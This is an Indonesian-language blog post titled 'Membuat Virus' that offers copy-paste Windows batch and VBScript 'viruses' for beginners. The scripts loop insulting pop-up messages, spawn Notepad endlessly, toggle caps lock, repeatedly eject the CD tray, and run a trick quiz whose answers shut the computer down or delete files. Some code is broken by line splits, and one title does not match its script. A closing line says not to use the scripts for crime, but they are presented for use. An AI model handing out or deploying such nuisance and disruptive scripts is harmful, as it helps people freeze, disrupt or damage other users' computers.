PopAds.net - The Best Popunder Adnetwork Cpx24.com CPM Program

Tuesday, May 22, 2012

Membuat Virus



ini adalah cara membuat virus yg sederhana saya rasa semua orang bisa melakukannya!!
hanya dengan notepad dan kemampuan copy-paste anda sudah bisa!!
langsung aja ok!!
1. Message yg muncul terus menerus
cara nya buka notepad lalu masukan script di bawah ini :
@ECHO off
:
Begin
msg * Lagi ngapain ?
msg * Hayo buka apa ?
msg * Nanti dimarahin ama mak loe
msg * Makannya jangan sembrono !
msg * minta bantuan gih sono !
msg * Udah instal ulang aja !!!!
msg * tit……………………….
GOTO BEGIN
bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh cyber4rt.bat
2. pertanyaan menjebak
script nya
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
simpan dengan .bat contoh contoh = quizcyber4rt.bat
3. Membuka notepad terus-menerus
script nya
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
sama simpan dengan .bat
4. komputer mati sendiri dan ngirim message
script nya
Set wshShell
=wscript.CreateObject
(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
simpan dengan .vbs
5. buka tutup cd room terus menerus
script nya
Set oWMP = CreateObject
(”WMPlayer.OCX.7″)
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan .vbs
Selamat mencoba dan semoga bermanfaat tapi jangan di gunakan untuk kejahatan dan balas dendam, ok!!!

No comments:

Post a Comment